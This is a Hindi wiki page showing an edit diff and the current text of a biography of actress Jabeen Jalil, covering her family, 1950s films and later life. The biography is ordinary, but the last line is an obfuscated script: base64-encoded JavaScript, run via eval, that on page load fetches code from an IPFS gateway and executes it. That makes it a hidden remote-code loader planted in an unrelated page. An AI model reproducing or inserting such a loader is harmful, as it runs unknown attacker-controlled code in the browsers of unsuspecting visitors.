"जबीन जलील": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
No edit summary
No edit summary
 
(2 सदस्यों द्वारा किए गए बीच के 3 अवतरण नहीं दर्शाए गए)
पंक्ति 15: पंक्ति 15:
|कर्म भूमि=[[भारत]]
|कर्म भूमि=[[भारत]]
|कर्म-क्षेत्र=[[हिन्दी]] फ़िल्में
|कर्म-क्षेत्र=[[हिन्दी]] फ़िल्में
|मुख्य रचनाएँ='लुटेरा', 'नर्इ दिल्ली', 'चारमीनार', 'जीवनसाथी', 'रात के राही', 'बंटवारा', 'खिलाड़ी', 'ताजमहल' और 'राजू' आदि।
|मुख्य रचनाएँ='लुटेरा', 'नई दिल्ली', 'चारमीनार', 'जीवनसाथी', 'रात के राही', 'बंटवारा', 'खिलाड़ी', 'ताजमहल' और 'राजू' आदि।
|मुख्य फ़िल्में=
|मुख्य फ़िल्में=
|विषय=
|विषय=
पंक्ति 29: पंक्ति 29:
|शीर्षक 2=
|शीर्षक 2=
|पाठ 2=
|पाठ 2=
|अन्य जानकारी=साल [[1954]] में रिलीज हुर्इ ‘ग़ुज़ारा’ जबीन की पहली फ़िल्म थी, जिसमें उनके हीरो करण दीवान थे। [[संगीत]] ग़ुलाम मोहम्मद का था। फ़िल्म तो ज्यादा नहीं चली लेकिन जबीन अपनी तरफ़ लोगों का ध्यान आकृष्ट करने में ज़रूर कामयाब रहीं।
|अन्य जानकारी=[[साल]] [[1954]] में रिलीज हुई ‘ग़ुज़ारा’ जबीन की पहली फ़िल्म थी, जिसमें उनके नायक करण दीवान थे। [[संगीत]] ग़ुलाम मोहम्मद का था। फ़िल्म तो ज़्यादा नहीं चली लेकिन जबीन अपनी तरफ़ लोगों का ध्यान आकृष्ट करने में ज़रूर कामयाब रहीं।
|बाहरी कड़ियाँ=
|बाहरी कड़ियाँ=
|अद्यतन=
|अद्यतन=
}}
}}
'''जबीन जलील''' ([[अंग्रेज़ी]]: ''Jabeen Jalil'', जन्म- [[1 अप्रॅल]], [[1936]], [[दिल्ली]]) [[हिन्दी सिनेमा]] के प्रेमियों के लिए [[1950]] और [[1960|60]] के दशक में एक जाना पहचाना नाम था। अभिनेत्री जबीन जलील अपने समय में दर्शकों के बीच काफ़ी प्रसिद्ध रहीं। क़रीब 20 साल के अपने कॅरियर के दौरान भले ही जबीन ने महज़ 24 [[हिन्दी]] और 4 पंजाबी फ़िल्मों में काम किया हो, लेकिन अपनी ख़ूबसूरती और दिलकश अभिनय के दम पर उस जमाने में उन्होंने लाखों लोगों को अपना दीवाना बनाया। हिन्दी सिनेमा का स्वर्ण काल कहलाए जाने वाले उस दौर की चर्चित अभिनेत्री जबीन सिनेमा के क्षेत्र में प्रोडयूसर के रूप में भी सक्रिय रहीं।
'''जबीन जलील''' ([[अंग्रेज़ी]]: ''Jabeen Jalil'', जन्म- [[1 अप्रॅल]], [[1936]], [[दिल्ली]]) [[हिन्दी सिनेमा]] के प्रेमियों के लिए [[1950]] और [[1960|60]] के दशक में एक जाना पहचाना नाम था। [[अभिनेत्री]] जबीन जलील अपने समय में दर्शकों के बीच काफ़ी प्रसिद्ध रहीं। क़रीब 20 साल के अपने कॅरियर के दौरान भले ही जबीन ने महज़ 24 [[हिन्दी]] और 4 [[पंजाबी]] फ़िल्मों में काम किया हो, लेकिन अपनी ख़ूबसूरती और दिलकश अभिनय के दम पर उस जमाने में उन्होंने लाखों लोगों को अपना दीवाना बनाया। हिन्दी सिनेमा का '''स्वर्ण काल''' कहलाए जाने वाले उस दौर की चर्चित अभिनेत्री जबीन सिनेमा के क्षेत्र में प्रोडयूसर के रूप में भी सक्रिय रहीं।
==परिचय==
==परिचय==
{{main|जबीन जलील का परिचय}}
{{main|जबीन जलील का परिचय}}
जबीन जलील का जन्म 1 अप्रॅल, 1936 को [[दिल्ली]] में हुआ था। उनका सम्बंध [[बंगाल (आज़ादी से पूर्व)|बंगाल]] के एक बेहद ज़हीन और पढ़े-लिखे ख़ानदान  से रहा है। उनके दादा सैयद मौलवी अहमद [[कोलकाता विश्वविद्यालय|कोलकाता यूनिवर्सिटी]] से स्नातक की डिग्री हासिल करने वाले पहले बंगाली [[मुस्लिम]] थे तो पिता सैयद अबू अहमद जलील [[अंग्रेज़|अंग्रेज़ों]] के ज़माने के आर्इ.सी.एस. अफ़सर। जबीन की अम्मी दिलारा जलील भी एक पढ़ी-लिखी और मुंशी फ़ाजिल की डिग्री हासिल कर चुकी महिला थीं, जिनका ताल्लुक़ [[लाहौर]] के मशहूर फ़कीर ब्रदर्स के ख़ानदान से था। ये तीनों भार्इ सैयद फ़कीर नूरुद्दीन, सैयद फ़कीर सर्इदुद्दीन और सैयद फ़कीर अज़ीज़ुद्दीन [[रणजीत सिंह|महाराजा रणजीत सिंह]] के बेहद विश्वस्त मन्त्रियों में से थे। महाराजा रणजीत सिंह ने ही इन भार्इयों को फ़कीर उपाधि से नवाज़ा था और इनका नाम [[भारत|हिन्दुस्तान]] के [[इतिहास]] में भी दर्ज है। लाहौर का मशहूर 'फ़कीरखाना संग्रहालय' भी इन्हीं तीन भार्इयों के नाम पर है।
जबीन जलील का जन्म 1 अप्रॅल, 1936 को [[दिल्ली]] में हुआ था। उनका सम्बंध [[बंगाल (आज़ादी से पूर्व)|बंगाल]] के एक बेहद ज़हीन और पढ़े-लिखे ख़ानदान  से रहा है। उनके [[दादा]] 'सैयद मौलवी अहमद' [[कोलकाता विश्वविद्यालय|कोलकाता यूनिवर्सिटी]] से स्नातक की डिग्री हासिल करने वाले पहले बंगाली [[मुस्लिम]] थे तो [[पिता]] 'सैयद अबू अहमद जलील' [[अंग्रेज़|अंग्रेज़ों]] के ज़माने के आई.सी.एस. अफ़सर। जबीन की अम्मी 'दिलारा जलील' भी एक पढ़ी-लिखी और मुंशी फ़ाजिल की डिग्री हासिल कर चुकी महिला थीं, जिनका ताल्लुक़ [[लाहौर]] के मशहूर 'फ़कीर ब्रदर्स' के ख़ानदान से था। ये तीनों [[भाई]] सैयद फ़कीर नूरुद्दीन, सैयद फ़कीर सईदुद्दीन और सैयद फ़कीर अज़ीज़ुद्दीन [[रणजीत सिंह|महाराजा रणजीत सिंह]] के बेहद विश्वस्त मन्त्रियों में से थे। महाराजा रणजीत सिंह ने ही इन भाईयों को '''फ़कीर उपाधि''' से नवाज़ा था और इनका नाम [[भारत|हिन्दुस्तान]] के [[इतिहास]] में भी दर्ज है। लाहौर का मशहूर 'फ़कीरखाना संग्रहालय' भी इन्हीं तीन भाईयों के नाम पर है।<ref name="a">{{cite web |url=http://beetehuedin.blogspot.in/2014/03/qaid-me-hai-bulbul-jabeen-jalil.html |title=जबीन जलील |accessmonthday= 18 joon|accessyear=2017 |last= |first= |authorlink= |format= |publisher=beetehuedin.blogspot.in |language=hindee }}</ref>
==कॅरियर==
==कॅरियर==
{{main|जबीन जलील का फ़िल्मी कॅरियर}}
{{main|जबीन जलील का फ़िल्मी कॅरियर}}
साल [[1954]] में रिलीज हुर्इ ‘ग़ुज़ारा’ जबीन की पहली फ़िल्म थी, जिसमें उनके हीरो करण दीवान थे। [[संगीत]] ग़ुलाम मोहम्मद का था। फ़िल्म तो ज्यादा नहीं चली लेकिन जबीन अपनी तरफ़ लोगों का ध्यान आकृष्ट करने में ज़रूर कामयाब रहीं। साल [[1955]] में उनकी दूसरी फ़िल्म ‘लुटेरा’ रिलीज़ हुर्इ जिसमें उनके हीरो नासिर ख़ान थे। लेकिन सही मायनों में उन्हें पहचान मिली अपनी तीसरी फ़िल्म ‘नर्इ दिल्ली’ से जिसमें उन्होंने हीरो [[किशोर कुमार]] की बहन निक्की का रोल किया था। [[1956]] में रिलीज़ हुर्इ इस फ़िल्म में जबीन के हीरो की भूमिका अभिनेत्री [[नलिनी जयवन्त]] के पति प्रभुदयाल ने की थी। [[शंकर-जयकिशन]] के संगीत से सजी, प्रोडयूसर-डायरेक्टर मोहन सहगल की ये फ़िल्म उस दौर की सफलतम फ़िल्मों में से थी। फ़िल्म ‘नर्इ दिल्ली’ की सफलता का जबीन को भरपूर फायदा मिला। [[1950]] के दशक के आख़िर में उनकी ‘चारमीनार’, ‘फ़ैशन’, ‘जीवनसाथी’, ‘हथकड़ी’, ‘पंचायत’, ‘रागिनी’, ‘बेदर्द ज़माना क्या जाने’ और ‘रात के राही’ जैसी फ़िल्में रिलीज़ हुर्इं।
साल [[1954]] में रिलीज हुई ‘ग़ुज़ारा’ जबीन की पहली फ़िल्म थी, जिसमें उनके हीरो करण दीवान थे। [[संगीत]] ग़ुलाम मोहम्मद का था। फ़िल्म तो ज्यादा नहीं चली लेकिन जबीन अपनी तरफ़ लोगों का ध्यान आकृष्ट करने में ज़रूर कामयाब रहीं। साल [[1955]] में उनकी दूसरी फ़िल्म ‘लुटेरा’ रिलीज़ हुई जिसमें उनके नायक नासिर ख़ान थे। लेकिन सही मायनों में उन्हें पहचान मिली अपनी तीसरी फ़िल्म ‘नई दिल्ली’ से जिसमें उन्होंने नायक [[किशोर कुमार]] की [[बहन]] 'निक्की' का रोल किया था। [[1956]] में रिलीज़ हुई इस फ़िल्म में जबीन के नायक की भूमिका [[अभिनेत्री]] [[नलिनी जयवन्त]] के पति प्रभुदयाल ने की थी। [[शंकर-जयकिशन]] के संगीत से सजी, प्रोडयूसर-डायरेक्टर मोहन सहगल की ये फ़िल्म उस दौर की सफलतम फ़िल्मों में से थी। फ़िल्म ‘नई दिल्ली’ की सफलता का जबीन को भरपूर फायदा मिला। [[1950]] के दशक के आख़िर में उनकी ‘चारमीनार’, ‘फ़ैशन’, ‘जीवनसाथी’, ‘हथकड़ी’, ‘पंचायत’, ‘रागिनी’, ‘बेदर्द ज़माना क्या जाने’ और ‘रात के राही’ जैसी फ़िल्में रिलीज़ हुर्इं।
==व्यक्तिगत जीवन==
==व्यक्तिगत जीवन==
फ़िल्मों से अलग होने के बाद जबीन सामाजिक कार्यों में भी व्यस्त हो गयी थीं। बेटा स्कूल जाने लगा तो उन्होंने उसके कैथेड्रल स्कूल की पी.टी.ए. के चेयरपर्सन की कुर्सी सम्भाल ली। उनकी दोनों बड़ी बहनें [[पाकिस्तान]] में और छोटा भार्इ [[अमेरिका]] में बस चुके थे। [[भारत]] में उनका कोर्इ भी रिश्तेदार नहीं था, इसलिए बेटे की पढ़ाई और अच्छे भविष्य के लिए जबीन ने भी अमेरिका में बस जाना बेहतर समझा। पति और बेटे के साथ शुरू से ही उनका अमेरिका जाना-आना लगा रहता था, इसलिए ग्रीन कार्ड मिलने में भी कोर्इ मुश्किल नहीं हुर्इ। आख़िरकार [[1989]] में वह परिवार सहित अमेरिका चली गयीं। जबीन और उनके परिवार ने क़रीब 10 साल अमेरिका में गुज़ारे। उनकी सास और मां दोनों ही अमेरिका में उनके साथ रहती थीं। जबीन की मां गुजरीं तो बेटा दिविज जो अपनी नानी के बेहद क़रीब था डिप्रेशन में चला गया। नतीजन डाक्टर्स की सलाह पर जबीन को साल [[1998]] में वापस [[मुम्बई]] आना पड़ा, क्योंकि डाक्टरों का कहना था कि जल्द रिकवरी के लिए दिविज का वापस उस माहौल में जाना ज़रुरी था, जिसमें उसका बचपन गुज़रा था। दिविज को डाक्टरों की इस सलाह का फ़ायदा भी हुआ और मुम्बई आकर उनकी तबीयत पूरी तरह से ठीक हो गयी।
[[चित्र:Jabeen-Jalil-2.jpg|thumb|left|250px|जबीन जलील अपने पति तथा पुत्र के साथ]]
फ़िल्मों से अलग होने के बाद जबीन सामाजिक कार्यों में भी व्यस्त हो गयी थीं। बेटा स्कूल जाने लगा तो उन्होंने उसके कैथेड्रल स्कूल की पी.टी.ए. के चेयरपर्सन की कुर्सी सम्भाल ली। उनकी दोनों बड़ी बहनें [[पाकिस्तान]] में और छोटा भाई [[अमेरिका]] में बस चुके थे। [[भारत]] में उनका कोई भी रिश्तेदार नहीं था, इसलिए बेटे की पढ़ाई और अच्छे भविष्य के लिए जबीन ने भी अमेरिका में बस जाना बेहतर समझा। पति और बेटे के साथ शुरू से ही उनका अमेरिका जाना-आना लगा रहता था, इसलिए ग्रीन कार्ड मिलने में भी कोई मुश्किल नहीं हुई। आख़िरकार [[1989]] में वह परिवार सहित अमेरिका चली गयीं।


अशोक काक साल [[2002]] में [[भारत]] लौटे। जाने माने उधोगपति के.के. बिडला उनकी प्रबन्धन क्षमता से पहले ही से परिचित थे, इसलिए उन्होंने अशोक काक से अपनी सबसे पुरानी कम्पनियों में से एक, [[कोलकाता]] स्थित घाटे में चल रही इंडिया स्टीमशिप कम्पनी के हालात सुधारने का आग्रह किया। अशोक ने तीन साल के काण्ट्रेक्ट के दौरान न सिर्फ़ कम्पनी को घाटे से उबारा, बल्कि उसे लाभ की स्थिति में भी ला खड़ा किया। वह तीन साल जबीन ने कोलकाता में गुज़ारे और फिर पति और बेटे के साथ वापस मुम्बई लौट आयीं। फ़िल्म ‘वचन’ के क़रीब 30 साल बाद [[2004]]-[[2005|05]] में जबीन ने [[दूरदर्शन]] धारावाहिक ‘हवाएं’ में अभिनय किया।  
 
जबीन और उनके [[परिवार]] ने क़रीब 10 [[साल]] अमेरिका में गुज़ारे। उनकी सास और मां दोनों ही [[अमेरिका]] में उनके साथ रहती थीं। जबीन की मां गुजरीं तो बेटा दिविज जो अपनी नानी के बेहद क़रीब था डिप्रेशन में चला गया। नतीजन डाक्टर्स की सलाह पर जबीन को साल [[1998]] में वापस [[मुम्बई]] आना पड़ा, क्योंकि डाक्टरों का कहना था कि जल्द रिकवरी के लिए दिविज का वापस उस माहौल में जाना ज़रुरी था, जिसमें उसका बचपन गुज़रा था। दिविज को डॉक्टरों की इस सलाह का फ़ायदा भी हुआ और [[मुम्बई]] आकर उनकी तबीयत पूरी तरह से ठीक हो गयी।<ref name="a"/>
 
अशोक काक साल [[2002]] में [[भारत]] लौटे। जाने माने उद्योगपति के.के. बिडला उनकी प्रबन्धन क्षमता से पहले ही से परिचित थे, इसलिए उन्होंने अशोक काक से अपनी सबसे पुरानी कम्पनियों में से एक, [[कोलकाता]] स्थित घाटे में चल रही 'इंडिया स्टीमशिप कम्पनी' के हालात सुधारने का आग्रह किया। अशोक ने तीन साल के काण्ट्रेक्ट के दौरान न सिर्फ़ कम्पनी को घाटे से उबारा, बल्कि उसे लाभ की स्थिति में भी ला खड़ा किया। वह तीन [[साल]] जबीन ने [[कोलकाता]] में गुज़ारे और फिर पति और बेटे के साथ वापस मुम्बई लौट आयीं। फ़िल्म ‘वचन’ के क़रीब 30 साल बाद [[2004]]-[[2005|05]] में जबीन ने [[दूरदर्शन]] धारावाहिक ‘हवाएं’ में अभिनय किया।  




पंक्ति 51: पंक्ति 55:
==संबंधित लेख==
==संबंधित लेख==
{{जबीन जलील विषय सूची}}{{अभिनेत्री}}
{{जबीन जलील विषय सूची}}{{अभिनेत्री}}
[[Category:अभिनेत्री]][[Category:सिनेमा]][[Category:सिनेमा कोश]][[Category:कला कोश]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]]
[[Category:अभिनेत्री]][[Category:जबीन जलील]][[Category:सिनेमा]][[Category:सिनेमा कोश]][[Category:कला कोश]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]]
__INDEX__
__INDEX__

05:25, 1 अप्रैल 2018 के समय का अवतरण

जबीन जलील विषय सूची
जबीन जलील
जबीन जलील
जबीन जलील
पूरा नाम जबीन जलील
जन्म 1 अप्रॅल, 1936
जन्म भूमि दिल्ली, भारत
अभिभावक पिता- सैयद अबू अहमद जलील, माता- दिलारा जलील
पति/पत्नी अशोक काक
कर्म भूमि भारत
कर्म-क्षेत्र हिन्दी फ़िल्में
मुख्य रचनाएँ 'लुटेरा', 'नई दिल्ली', 'चारमीनार', 'जीवनसाथी', 'रात के राही', 'बंटवारा', 'खिलाड़ी', 'ताजमहल' और 'राजू' आदि।
विद्यालय कोलकाता विश्वविद्यालय
प्रसिद्धि फ़िल्म अभिनेत्री
नागरिकता भारतीय
अन्य जानकारी साल 1954 में रिलीज हुई ‘ग़ुज़ारा’ जबीन की पहली फ़िल्म थी, जिसमें उनके नायक करण दीवान थे। संगीत ग़ुलाम मोहम्मद का था। फ़िल्म तो ज़्यादा नहीं चली लेकिन जबीन अपनी तरफ़ लोगों का ध्यान आकृष्ट करने में ज़रूर कामयाब रहीं।

जबीन जलील (अंग्रेज़ी: Jabeen Jalil, जन्म- 1 अप्रॅल, 1936, दिल्ली) हिन्दी सिनेमा के प्रेमियों के लिए 1950 और 60 के दशक में एक जाना पहचाना नाम था। अभिनेत्री जबीन जलील अपने समय में दर्शकों के बीच काफ़ी प्रसिद्ध रहीं। क़रीब 20 साल के अपने कॅरियर के दौरान भले ही जबीन ने महज़ 24 हिन्दी और 4 पंजाबी फ़िल्मों में काम किया हो, लेकिन अपनी ख़ूबसूरती और दिलकश अभिनय के दम पर उस जमाने में उन्होंने लाखों लोगों को अपना दीवाना बनाया। हिन्दी सिनेमा का स्वर्ण काल कहलाए जाने वाले उस दौर की चर्चित अभिनेत्री जबीन सिनेमा के क्षेत्र में प्रोडयूसर के रूप में भी सक्रिय रहीं।

परिचय

जबीन जलील का जन्म 1 अप्रॅल, 1936 को दिल्ली में हुआ था। उनका सम्बंध बंगाल के एक बेहद ज़हीन और पढ़े-लिखे ख़ानदान से रहा है। उनके दादा 'सैयद मौलवी अहमद' कोलकाता यूनिवर्सिटी से स्नातक की डिग्री हासिल करने वाले पहले बंगाली मुस्लिम थे तो पिता 'सैयद अबू अहमद जलील' अंग्रेज़ों के ज़माने के आई.सी.एस. अफ़सर। जबीन की अम्मी 'दिलारा जलील' भी एक पढ़ी-लिखी और मुंशी फ़ाजिल की डिग्री हासिल कर चुकी महिला थीं, जिनका ताल्लुक़ लाहौर के मशहूर 'फ़कीर ब्रदर्स' के ख़ानदान से था। ये तीनों भाई सैयद फ़कीर नूरुद्दीन, सैयद फ़कीर सईदुद्दीन और सैयद फ़कीर अज़ीज़ुद्दीन महाराजा रणजीत सिंह के बेहद विश्वस्त मन्त्रियों में से थे। महाराजा रणजीत सिंह ने ही इन भाईयों को फ़कीर उपाधि से नवाज़ा था और इनका नाम हिन्दुस्तान के इतिहास में भी दर्ज है। लाहौर का मशहूर 'फ़कीरखाना संग्रहालय' भी इन्हीं तीन भाईयों के नाम पर है।[1]

कॅरियर

साल 1954 में रिलीज हुई ‘ग़ुज़ारा’ जबीन की पहली फ़िल्म थी, जिसमें उनके हीरो करण दीवान थे। संगीत ग़ुलाम मोहम्मद का था। फ़िल्म तो ज्यादा नहीं चली लेकिन जबीन अपनी तरफ़ लोगों का ध्यान आकृष्ट करने में ज़रूर कामयाब रहीं। साल 1955 में उनकी दूसरी फ़िल्म ‘लुटेरा’ रिलीज़ हुई जिसमें उनके नायक नासिर ख़ान थे। लेकिन सही मायनों में उन्हें पहचान मिली अपनी तीसरी फ़िल्म ‘नई दिल्ली’ से जिसमें उन्होंने नायक किशोर कुमार की बहन 'निक्की' का रोल किया था। 1956 में रिलीज़ हुई इस फ़िल्म में जबीन के नायक की भूमिका अभिनेत्री नलिनी जयवन्त के पति प्रभुदयाल ने की थी। शंकर-जयकिशन के संगीत से सजी, प्रोडयूसर-डायरेक्टर मोहन सहगल की ये फ़िल्म उस दौर की सफलतम फ़िल्मों में से थी। फ़िल्म ‘नई दिल्ली’ की सफलता का जबीन को भरपूर फायदा मिला। 1950 के दशक के आख़िर में उनकी ‘चारमीनार’, ‘फ़ैशन’, ‘जीवनसाथी’, ‘हथकड़ी’, ‘पंचायत’, ‘रागिनी’, ‘बेदर्द ज़माना क्या जाने’ और ‘रात के राही’ जैसी फ़िल्में रिलीज़ हुर्इं।

व्यक्तिगत जीवन

जबीन जलील अपने पति तथा पुत्र के साथ

फ़िल्मों से अलग होने के बाद जबीन सामाजिक कार्यों में भी व्यस्त हो गयी थीं। बेटा स्कूल जाने लगा तो उन्होंने उसके कैथेड्रल स्कूल की पी.टी.ए. के चेयरपर्सन की कुर्सी सम्भाल ली। उनकी दोनों बड़ी बहनें पाकिस्तान में और छोटा भाई अमेरिका में बस चुके थे। भारत में उनका कोई भी रिश्तेदार नहीं था, इसलिए बेटे की पढ़ाई और अच्छे भविष्य के लिए जबीन ने भी अमेरिका में बस जाना बेहतर समझा। पति और बेटे के साथ शुरू से ही उनका अमेरिका जाना-आना लगा रहता था, इसलिए ग्रीन कार्ड मिलने में भी कोई मुश्किल नहीं हुई। आख़िरकार 1989 में वह परिवार सहित अमेरिका चली गयीं।


जबीन और उनके परिवार ने क़रीब 10 साल अमेरिका में गुज़ारे। उनकी सास और मां दोनों ही अमेरिका में उनके साथ रहती थीं। जबीन की मां गुजरीं तो बेटा दिविज जो अपनी नानी के बेहद क़रीब था डिप्रेशन में चला गया। नतीजन डाक्टर्स की सलाह पर जबीन को साल 1998 में वापस मुम्बई आना पड़ा, क्योंकि डाक्टरों का कहना था कि जल्द रिकवरी के लिए दिविज का वापस उस माहौल में जाना ज़रुरी था, जिसमें उसका बचपन गुज़रा था। दिविज को डॉक्टरों की इस सलाह का फ़ायदा भी हुआ और मुम्बई आकर उनकी तबीयत पूरी तरह से ठीक हो गयी।[1]

अशोक काक साल 2002 में भारत लौटे। जाने माने उद्योगपति के.के. बिडला उनकी प्रबन्धन क्षमता से पहले ही से परिचित थे, इसलिए उन्होंने अशोक काक से अपनी सबसे पुरानी कम्पनियों में से एक, कोलकाता स्थित घाटे में चल रही 'इंडिया स्टीमशिप कम्पनी' के हालात सुधारने का आग्रह किया। अशोक ने तीन साल के काण्ट्रेक्ट के दौरान न सिर्फ़ कम्पनी को घाटे से उबारा, बल्कि उसे लाभ की स्थिति में भी ला खड़ा किया। वह तीन साल जबीन ने कोलकाता में गुज़ारे और फिर पति और बेटे के साथ वापस मुम्बई लौट आयीं। फ़िल्म ‘वचन’ के क़रीब 30 साल बाद 2004-05 में जबीन ने दूरदर्शन धारावाहिक ‘हवाएं’ में अभिनय किया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 जबीन जलील (hindee) beetehuedin.blogspot.in। अभिगमन तिथि: 18 joon, 2017।

संबंधित लेख

जबीन जलील विषय सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>